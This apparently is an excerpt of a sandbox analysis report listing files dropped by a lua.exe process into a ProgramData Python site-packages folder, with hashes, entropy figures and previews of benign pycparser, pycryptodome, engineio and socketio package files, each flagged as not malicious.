Preview:	# -----------------------------------------------------------------------------.# ply: yacc.py.#.# Copyright (C) 2001-2017.# David M. Beazley (Dabeaz LLC).# All rights reserved..#.# Redistribution and use in source and binary forms, with or without.# modification, are permitted provided that the following conditions are.# met:.#.# * Redistributions of source code must retain the above copyright notice,.# this list of conditions and the following disclaimer..# * Redistributions in binary form must reproduce the above copyright notice,.# this list of conditions and the following disclaimer in the documentation.# and/or other materials provided with the distribution..# * Neither the name of the David Beazley or Dabeaz LLC may be used to.# endorse or promote products derived from this software without.# specific prior written permission..#.# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.# LIM

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\ply\ygen.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	4.621972194451417
Encrypted:	false
SSDEEP:	48:55/9Ob1pREFh+BkJsyL5Cr/WSPU52hPhk1oJ3zjD5al:wpREFh+Bjy18/roaUoJ92
MD5:	06E1EBA623A13ABA4D44D4D3E5A85AEE
SHA1:	730CCB11658837A396C0F999E8209FBAEBB594E7
SHA-256:	D8960D798B6B3F3D49CCB48B3B77781AC4BCCC953C8D8FC8FC2475548F605AB0
SHA-512:	B8F3A2369BE24A18B6B8EB5190AD78370BF3325955A510066DE55BB1B1B66077B3F1FFA28C1CEF5B2F60DEFCBB1944DA5B8C4EAF78BC36F91D513819A72F4D45
Malicious:	false
Preview:	# ply: ygen.py.#.# This is a support program that auto-generates different versions of the YACC parsing.# function with different features removed for the purposes of performance..#.# Users should edit the method LParser.parsedebug() in yacc.py. The source code .# for that method is then used to create the other methods. See the comments in.# yacc.py for further details...import os.path.import shutil..def get_source_range(lines, tag):. srclines = enumerate(lines). start_tag = '#--! %s-start' % tag. end_tag = '#--! %s-end' % tag.. for start_index, line in srclines:. if line.strip().startswith(start_tag):. break.. for end_index, line in srclines:. if line.strip().endswith(end_tag):. break.. return (start_index + 1, end_index)..def filter_section(lines, tag):. filtered_lines = []. include = True. tag_text = '#--! %s' % tag. for line in lines:. if line.strip().startswith(tag_text):. include = not includ

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\plyparser.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4873
Entropy (8bit):	4.49639916275709
Encrypted:	false
SSDEEP:	96:L2AygmJY4pkPJVLv4dW24o9RlyFLui/Buk5R8E:LPzJl4I24orlyFLnEkL8E
MD5:	A0B69BBC193F4DDD9DE977D8A7A505C8
SHA1:	215228F72342FFCE15B2BB92591FC36C21BD7B66
SHA-256:	B1A18D8E9B209DC433FA11C4878E5FDBC04BAA8A53C477DF68983FF41099862F
SHA-512:	120FAA312CB51D932B5DC0F4C0EDD4C09DBA9F2AC3FE19139988BCA28DA8E6BF14018AA66021E536C8CE50769939FC5D526720FA902DAC433B02D0C80B2B4F4C
Malicious:	false
Preview:	#-----------------------------------------------------------------.# plyparser.py.#.# PLYParser class and other utilites for simplifying programming.# parsers with PLY.#.# Eli Bendersky [https://eli.thegreenplace.net/].# License: BSD.#-----------------------------------------------------------------..import warnings..class Coord(object):. """ Coordinates of a syntactic element. Consists of:. - File name. - Line number. - (optional) column number, for the Lexer. """. __slots__ = ('file', 'line', 'column', '__weakref__'). def __init__(self, file, line, column=None):. self.file = file. self.line = line. self.column = column.. def __str__(self):. str = "%s:%s" % (self.file, self.line). if self.column: str += ":%s" % self.column. return str...class ParseError(Exception): pass...class PLYParser(object):. def _create_opt_rule(self, rulename):. """ Given a rule name, creates an optional ply.yacc

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycparser\yacctab.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	169715
Entropy (8bit):	4.767518617478814
Encrypted:	false
SSDEEP:	1536:wBFk6OShxoYyDTnhyFCQ1PyNCkiGzYYBdzBJy0HMMZFHcB2es67Sx1gc4EeL01xj:baWFJ
MD5:	4DC6DF3AF8AD1DFFE213A18AC6E2B928
SHA1:	0E87610DD5C98D1619D6F2E933A90895D2E1CC88
SHA-256:	28E7B0B073606D261A62B2EF0C9AFB2B78D78FEEEAA2ED278323449E10E6C81E
SHA-512:	F5C362760C099E128E3126B31DBDD9BEA70C9243E127D0ED2D8C7EA89792A91152C4693B2BA59F076577B9F49D71D84D05736CE76A4F6E91BFD8482D3B7676A3
Malicious:	false
Preview:	.# yacctab.py.# This file is automatically generated. Do not edit.._tabversion = '3.10'.._lr_method = 'LALR'.._lr_signature = 'translation_unit_or_emptyleftLORleftLANDleftORleftXORleftANDleftEQNEleftGTGELTLEleftRSHIFTLSHIFTleftPLUSMINUSleftTIMESDIVIDEMOD_BOOL _COMPLEX AUTO BREAK CASE CHAR CONST CONTINUE DEFAULT DO DOUBLE ELSE ENUM EXTERN FLOAT FOR GOTO IF INLINE INT LONG REGISTER OFFSETOF RESTRICT RETURN SHORT SIGNED SIZEOF STATIC STRUCT SWITCH TYPEDEF UNION UNSIGNED VOID VOLATILE WHILE __INT128 ID TYPEID INT_CONST_DEC INT_CONST_OCT INT_CONST_HEX INT_CONST_BIN FLOAT_CONST HEX_FLOAT_CONST CHAR_CONST WCHAR_CONST STRING_LITERAL WSTRING_LITERAL PLUS MINUS TIMES DIVIDE MOD OR AND NOT XOR LSHIFT RSHIFT LOR LAND LNOT LT LE GT GE EQ NE EQUALS TIMESEQUAL DIVEQUAL MODEQUAL PLUSEQUAL MINUSEQUAL LSHIFTEQUAL RSHIFTEQUAL ANDEQUAL XOREQUAL OREQUAL PLUSPLUS MINUSMINUS ARROW CONDOP LPAREN RPAREN LBRACKET RBRACKET LBRACE RBRACE COMMA PERIOD SEMI COLON ELLIPSIS PPHASH PPPRAGMA PPPRAGMASTRabstract_declara

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycryptodome-3.9.9.dist-info\AUTHORS.rst Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	UTF-8 Unicode text
Category:	dropped
Size (bytes):	735
Entropy (8bit):	4.843163654017738
Encrypted:	false
SSDEEP:	12:7tVsnVe0u8P5K1CPpRIP5WsFTrPiXpbuvIy2e83mjEQcUcZVeAolHJeZpeoxRp3p:7zs9h4yWkcTraXpbul9t6fOHwZYCRboo
MD5:	71E5C6CBBFD795B9E3AB9B0B916AE2FE
SHA1:	0844FAED18625534F7196CB603AA4F12B61E0997
SHA-256:	E00791BCC3E1412AB065C5DA89C5F752FE8CCF253DF2037150D710B04E9788D8
SHA-512:	4BCC5E115BB2A35554959C06DBE3503C83D0385FF1C87601E733EEF60DCCB86A205FF989A5FDFB93015134FB6EE6D81ECF7082F670EF51EAD7896AF0AA470B8A
Malicious:	false
Preview:	Simon Arneaud.Nevins Bartolomeo.Thorsten E. Behrens.Tim Berners-Lee.Fr.d.ric Bertolus.Ian Bicking.Joris Bontje.Antoon Bosselaers.Andrea Bottoni.Jean-Paul Calderone.Sergey Chernov.Geremy Condra.Jan Dittberner.Andrew Eland.Philippe Frycia.Peter Gutmann.Hirendra Hindocha.Nikhil Jhingan.Sebastian Kayser.Ryan Kelly.Andrew M. Kuchling.Piers Lauder.Legrandin.M.-A. Lemburg.Wim Lewis.Darsey C. Litzenberger.Richard Mitchell.Mark Moraes.Lim Chee Siang.Bryan Olson.Wallace Owen.Colin Plumb.Robey Pointer.Lorenz Quack.Sebastian Ramacher.Jeethu Rao.James P. Rutledge.Matt Schreiner.Peter Simmons.Janne Snabb.Tom St. Denis.Anders Sundman.Paul Swartz.Fabrizio Tarizzo.Kevin M. Turner.Barry A. Warsaw.Eric Young.Hannes van Niekerk.Stefan Seering.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycryptodome-3.9.9.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycryptodome-3.9.9.dist-info\LICENSE.rst Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	14685
Entropy (8bit):	4.691291216057003
Encrypted:	false
SSDEEP:	384:BGxTkpRtGFMbc9vlKM1zJlFvmNz5VrlkTS07Ht:BEYGFMY9TzJlFvAfxk1rt
MD5:	6DC0E2A13D2F25D6F123C434B761FABA
SHA1:	9D06D2F12955E69E3C7E9F53538ABD61E9354AC9
SHA-256:	D1AF3FAB2EF8CC53B6C7F48BDEB178AC874B04FAF4BA0159A96B6109F1D393E2
SHA-512:	1D5564DF8087C6BC11C30BC38714290698A9B9B4194D28810831847C3E40EA47701EECA42665085C2C75BCB31D704446017762FA24744901135621B5B4F38BE1
Malicious:	false
Preview:	The source code in PyCryptodome is partially in the public domain.and partially released under the BSD 2-Clause license...In either case, there are minimal if no restrictions on the redistribution,.modification and usage of the software...Public domain.=============..All code originating from PyCrypto is free and unencumbered software.released into the public domain...Anyone is free to copy, modify, publish, use, compile, sell, or.distribute this software, either in source code form or as a compiled.binary, for any purpose, commercial or non-commercial, and by any.means...In jurisdictions that recognize copyright laws, the author or authors.of this software dedicate any and all copyright interest in the.software to the public domain. We make this dedication for the benefit.of the public at large and to the detriment of our heirs and.successors. We intend this dedication to be an overt act of.relinquishment in perpetuity of all present and future rights to this.software under copyright

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycryptodome-3.9.9.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3189
Entropy (8bit):	5.067538053240341
Encrypted:	false
SSDEEP:	96:D4o+oQI4QIRvQIFjjaaYxmPXFnr9SfeN0Llog1438:qPw5CNNbgGs
MD5:	9D8A161680ADA9D4C42BB93BB88DB6D5
SHA1:	57A78E88FA276CAE589278A2F332EDC1BA241B61
SHA-256:	475D30780B72F4D3F7E11FFFB3506CDBFF3C823C0DDC41B0989884E9D85CD4F3
SHA-512:	4D94DE095BB0E9936A029C4263D60281B5784B0AEA23AC06DF71278272642EEC14100E5604A58E22DF5383F42C9BA83260A9D3573E48FAB3EE4E3EBFDFA37CAF
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: pycryptodome.Version: 3.9.9.Summary: Cryptographic library for Python.Home-page: https://www.pycryptodome.org.Author: Helder Eijs.Author-email: helderijs@gmail.com.License: BSD, Public Domain, Apache.Project-URL: Source, https://github.com/Legrandin/pycryptodome/.Platform: Posix; MacOS X; Windows.Classifier: Development Status :: 5 - Production/Stable.Classifier: License :: OSI Approved :: BSD License.Classifier: License :: OSI Approved :: Apache Software License.Classifier: License :: Public Domain.Classifier: Intended Audience :: Developers.Classifier: Operating System :: Unix.Classifier: Operating System :: Microsoft :: Windows.Classifier: Operating System :: MacOS :: MacOS X.Classifier: Topic :: Security :: Cryptography.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 2.6.Classifier: Programming Language :: Python :: 2.7.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycryptodome-3.9.9.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	95255
Entropy (8bit):	5.78500867964881
Encrypted:	false
SSDEEP:	1536:EjRkRMtV4dl/Xk2gsNicV8FJQKDg4lqna4:EjRkkVi/Niq8FJQKy3
MD5:	AEF88AE3B209C705E8603C52DD87F4DE
SHA1:	FE65927D4DC8C1809A659C412DEFFBA4CFEA5833
SHA-256:	8E1B5F42FB568DFAB0868E33193057508C44551D66024B908DB0729AA0A775AE
SHA-512:	9C2B583851B46CF0473B0741E62B2917EE96DF0D011DC297D365E42706E0C61B0BDDD37105730C452AB1487B8232101D69C6879E1E16C78FC004E6CD9930BC18
Malicious:	false
Preview:	Crypto/Cipher/AES.py,sha256=MOnR9u7vBisJfNzx198qVSaNbhylinQzyLYae76Rwi8,9541..Crypto/Cipher/AES.pyi,sha256=KFRI5Bc7OMN7APFJ48wrcH0sQISsFfiY91HtLNpJqgA,1343..Crypto/Cipher/ARC2.py,sha256=L2-Nj1XT8zBjZUTykGq8N0QONXfuiNLJNQJZzSztI_M,7010..Crypto/Cipher/ARC2.pyi,sha256=FrGIcMtmPnJ08OoLnYhCJCYx0RxYvSgHimNKeTkn0qQ,954..Crypto/Cipher/ARC4.py,sha256=MjMVoqqU232XJsU_sZlPrCAjUMpGGAT3fDS8PpC-XZ8,5152..Crypto/Cipher/ARC4.pyi,sha256=sMw73yZHeonmGx9BhiyA7__4PQJocU04SMRcDjnyJ2Y,431..Crypto/Cipher/Blowfish.py,sha256=UbpLnRlNWaclr9cjZuvgJoPXrTI9fYJThqG2X5NIFH4,5964..Crypto/Cipher/Blowfish.pyi,sha256=C7lgc7tn4IqV_7jwP-QGUTTgGsik6ZPY4cBH8q7LSII,990..Crypto/Cipher/CAST.py,sha256=DIoa9CsmGqI-h1h4U3tBF3PzYFVdWbfHqTi_TeWEVck,6071..Crypto/Cipher/CAST.pyi,sha256=S_Z4-goG9AWDj6QwE3pjPLJKpHbQ2ssq98vIAWTOqVU,955..Crypto/Cipher/ChaCha20.py,sha256=jaopj8g8uwBT_j1of3Fq2A8E9-Ht9NWl7grqrAvhs74,10734..Crypto/Cipher/ChaCha20.pyi,sha256=_l1xhtOyBmYEHP7Ftmk8EQZpKegX9p3N5tckC_PPve0,762..Crypto/Cipher/ChaCha20_Poly1305.py,s

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycryptodome-3.9.9.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	102
Entropy (8bit):	5.045097529036378
Encrypted:	false
SSDEEP:	3:RtED7MWcSlVilv6gP+tkSrLcyn:RtEMwlVilv6gWKSrLcyn
MD5:	450D9B4C9318D561EBF9DD24C23E8BE0
SHA1:	07648F2D1F33CFEAF6F9681F76C5B498FC7EA6B7
SHA-256:	4982880A2C3B10FAE9C8E78222E009B305D36405976C9047BC061CA6E5295F53
SHA-512:	7C63ECE85118249B1B153772EB710D86D5ABA09D1DAAFC7AE412A737E12FD9CA31D53EF55E508CA4BFA29467E970670E25A7E36B11DF81E8B25EA83C6DECEA0C
Malicious:	false
Preview:	Wheel-Version: 1.0..Generator: bdist_wheel (0.35.1)..Root-Is-Purelib: false..Tag: cp37-cp37m-win32....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\pycryptodome-3.9.9.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.8073549220576046
Encrypted:	false
SSDEEP:	3:ZVRKv:ZOv
MD5:	99DF66E59FEE87240E7126A32D7F8160
SHA1:	FCF7EA87204EA629ADCB68C3CCF592C0EB81A700
SHA-256:	F96DB04ED9317354273D43D1A816746CCC2B843F31443D771C8A1B157FB00CEB
SHA-512:	AC9195C053CDE2F5B5F87C8E10790E16F71124DDFDCB8D2C3C163DFC49FADFABFA57DA5936C12454B52BBFFB1CE225DB472E8EE2A877340DA3091419825D18D6
Malicious:	false
Preview:	Crypto.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_engineio-3.13.2.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_engineio-3.13.2.dist-info\LICENSE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	5.101972680368042
Encrypted:	false
SSDEEP:	24:b3rOJH7H0yxgtAHw1hC09QHOsUv4tk4/+dpoaq/FD:b3SJrlxEDdQHOs52TSaYFD
MD5:	42D0A9E728978F0EEB759C3BE91536B8
SHA1:	B248223C1B4878CBEDDBF9B602142E963B906A8E
SHA-256:	C9E97D3DBC1FBBCDB4F7808B282CD646DB887AFF4F5313FE6BBE8D4C31405A9C
SHA-512:	F200D5CF71790F6D523E8913E1BADB25794AC99845DDAFDE3C40381C5B716163644ACA445B4A22965AC744BC9A7782A87B45150624B966BD96A86C4BAFE5CF0A
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2015 Miguel Grinberg..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of.the Software, and to permit persons to whom the Software is furnished to do so,.subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF

C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_engineio-3.13.2.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1801
Entropy (8bit):	5.078884107869722
Encrypted:	false
SSDEEP:	48:DYOLOKQILja13LD2gYXQcc0bUXuMrCVG+0YBPa2Z0vN2ZA:DYO9QILja13+gYgpevVF0vTNj
MD5:	237EB49740395A1F2767FFBC46993F94
SHA1:	9D65BCA33BA2C5E75347049712D610E5FA62FB79
SHA-256:	7994B6076C74CA3929C5F3F405DFB4DC36C5339A86B3B9A9FE2B679A5AC9062A
SHA-512:	38AC97C6E975775F9560DD37C476F7CF233205B633D1C64AD5697CE169B67BE4E386160D1BCDBF0FA3EDD80A8E3ADBEA66CA1FD1DE3255AACFBA434BB49640BD
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: python-engineio.Version: 3.13.2.Summary: Engine.IO server.Home-page: http://github.com/miguelgrinberg/python-engineio/.Author: Miguel Grinberg.Author-email: miguelgrinberg50@gmail.com.License: MIT.Platform: any.Classifier: Environment :: Web Environment.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Operating System :: OS Independent.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 3.Classifier: Topic :: Internet :: WWW/HTTP :: Dynamic Content.Classifier: Topic :: Software Development :: Libraries :: Python Modules.Requires-Dist: six (>=1.9.0).Provides-Extra: asyncio_client.Requires-Dist: aiohttp (>=3.4) ; extra == 'asyncio_client'.Provides-Extra: client.Requires-Dist: requests (>=2.21.0) ; extra == 'client'.Requires-Dist: websocket-client (>=0.54.0) ; extra == 'client'..python-engineio.===============.... image:

C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_engineio-3.13.2.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3547
Entropy (8bit):	5.621833669700462
Encrypted:	false
SSDEEP:	96:/74JXYV69Xw8CI4WLbauKjMtjhk0oX+PrYI4pJxxFGXMefQTLNkyTXtqsqbqX6ZU:jeYV69Xw8CIfPaFqy0GuYT3zQ5QsqXyU
MD5:	6C0155F3A71BFD30815A11509539E4FF
SHA1:	EDBA00F2C2C85FF0501CB94A375BF20D5AADE1A4
SHA-256:	BECC2668AB05C08E6929C6B25E2E9373B81AA1E38784D2049285C2E78BD42ACD
SHA-512:	36E6E7A642BCE68B0670152C4F568B47CF0B8C00E8A554D843A0F30958A6CE4AA60AB7763E530CFD45E2407531A18234C626905A86C09FB783E42272A74F9156
Malicious:	false
Preview:	engineio/__init__.py,sha256=8C7iSU8wJ-dRG9g4qntM4GdZoNoSa2oWiwRR2k7ctEo,787..engineio/__pycache__/__init__.cpython-37.pyc,,..engineio/__pycache__/asyncio_client.cpython-37.pyc,,..engineio/__pycache__/asyncio_server.cpython-37.pyc,,..engineio/__pycache__/asyncio_socket.cpython-37.pyc,,..engineio/__pycache__/client.cpython-37.pyc,,..engineio/__pycache__/exceptions.cpython-37.pyc,,..engineio/__pycache__/middleware.cpython-37.pyc,,..engineio/__pycache__/packet.cpython-37.pyc,,..engineio/__pycache__/payload.cpython-37.pyc,,..engineio/__pycache__/server.cpython-37.pyc,,..engineio/__pycache__/socket.cpython-37.pyc,,..engineio/__pycache__/static_files.cpython-37.pyc,,..engineio/async_drivers/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..engineio/async_drivers/__pycache__/__init__.cpython-37.pyc,,..engineio/async_drivers/__pycache__/aiohttp.cpython-37.pyc,,..engineio/async_drivers/__pycache__/asgi.cpython-37.pyc,,..engineio/async_drivers/__pycache__/eventlet.cpython-37.pyc,,

C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_engineio-3.13.2.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.816968543485036
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVii6KRRP+tPCCf7irO5S:RtBMwlViGjWBBwt
MD5:	D25A99ECD1ECB535EE4E31874B0C7B95
SHA1:	B80780FBBF97A5FBF433C4F692E340632EA675F1
SHA-256:	00329EC9A1B2285E43C01344D2C444E69BD6F9B4A414C25F06E873677ADC78FE
SHA-512:	539E072414E6E8AD3BFAEDB0587507443B39826814FB330B57D605FB5FBE61134D3548359F41A14CC63B44E23EF0AA1E62EA1C4A2F3B344BE548F4C2C8143976
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.35.1).Root-Is-Purelib: true.Tag: py2-none-any.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_engineio-3.13.2.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9
Entropy (8bit):	2.5032583347756456
Encrypted:	false
SSDEEP:	3:uPLm:uPLm
MD5:	E89533F5550BA24A1B3ED44F69292E05
SHA1:	E38DD0CA1CF5D4D474D70CD84BFE32F56310E01D
SHA-256:	BBC3E6362B0264BC1161C5AB34B7BDC2EB50DADB78CCD8BC207DFAD9CF875AE0
SHA-512:	32375B2C15B3ACD55DDF24AAFDB717A02A2FE72E0403D05E39ACD3D1C9525FF0A2ECE3F1AF69ED85BCFCB4021AA238A1E07808C5363203557E9C2AEA7BB41866
Malicious:	false
Preview:	engineio.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_socketio-4.6.0.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_socketio-4.6.0.dist-info\LICENSE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	5.101972680368042
Encrypted:	false
SSDEEP:	24:b3rOJH7H0yxgtAHw1hC09QHOsUv4tk4/+dpoaq/FD:b3SJrlxEDdQHOs52TSaYFD
MD5:	42D0A9E728978F0EEB759C3BE91536B8
SHA1:	B248223C1B4878CBEDDBF9B602142E963B906A8E
SHA-256:	C9E97D3DBC1FBBCDB4F7808B282CD646DB887AFF4F5313FE6BBE8D4C31405A9C
SHA-512:	F200D5CF71790F6D523E8913E1BADB25794AC99845DDAFDE3C40381C5B716163644ACA445B4A22965AC744BC9A7782A87B45150624B966BD96A86C4BAFE5CF0A
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2015 Miguel Grinberg..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of.the Software, and to permit persons to whom the Software is furnished to do so,.subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF

C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_socketio-4.6.0.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1903
Entropy (8bit):	5.119333568157277
Encrypted:	false
SSDEEP:	48:DTZwsQILja13LSnh21NjYXQMCN0b7JMr7+0XBUa2Z0vN2ZA:DTasQILja132QXjYgAJb0PTNj
MD5:	C5F6BB01E11BB60053DD26362727A6D2
SHA1:	6897312D84FD4A50EBC95D56582896D423005BE8
SHA-256:	17A5796F6B19755A2BDD31618A59D1E198DAA9747EBD2CA79A17DC6B5D8E2930
SHA-512:	C0CCC37E5C4F00964E86CED059F40C234F3E097A2D932EC9D65A060020A36C2DACEF68DB63CF0665C67F863CE034BB60BAC998FB35CBC9E3A7C48345407731AB
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: python-socketio.Version: 4.6.0.Summary: Socket.IO server.Home-page: http://github.com/miguelgrinberg/python-socketio/.Author: Miguel Grinberg.Author-email: miguelgrinberg50@gmail.com.License: MIT.Platform: any.Classifier: Environment :: Web Environment.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Operating System :: OS Independent.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 3.Classifier: Topic :: Internet :: WWW/HTTP :: Dynamic Content.Classifier: Topic :: Software Development :: Libraries :: Python Modules.Requires-Dist: six (>=1.9.0).Requires-Dist: python-engineio (>=3.13.0).Provides-Extra: asyncio_client.Requires-Dist: aiohttp (>=3.4) ; extra == 'asyncio_client'.Requires-Dist: websockets (>=7.0) ; extra == 'asyncio_client'.Provides-Extra: client.Requires-Dist: requests (>=2.21.0) ; extra == 'client'.Req

C:\ProgramData\ShellExperienceHost\Lib\site-packages\python_socketio-4.6.0.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3581
Entropy (8bit):	5.6596414147676395
Encrypted:	false
SSDEEP:	96:JXx4k7L6WQs4XxE3TjUZR3nFHzeKhbNRwDD5SSMwIDKJ:JXLasyCDIXXh+J
MD5:	E6F2CED550739BCA3174F64448E3B942
SHA1:	AF861F7E06D167BDA38BCC2F4801F2CC600C2FF4
SHA-256:	DE425DB97C9C6F7116F28BEA5035EA0DC3CCA98840892ADEA5B2E91CA19621AA
SHA-512:	D2DB7E51CE4CCF57AA461C28F38555910BC808E6480491C4CAA313EB578A4E61E7328AABAA0E54038502D2DE68BF73E6E0653FA554D0987276DED72390434877
Malicious:	false
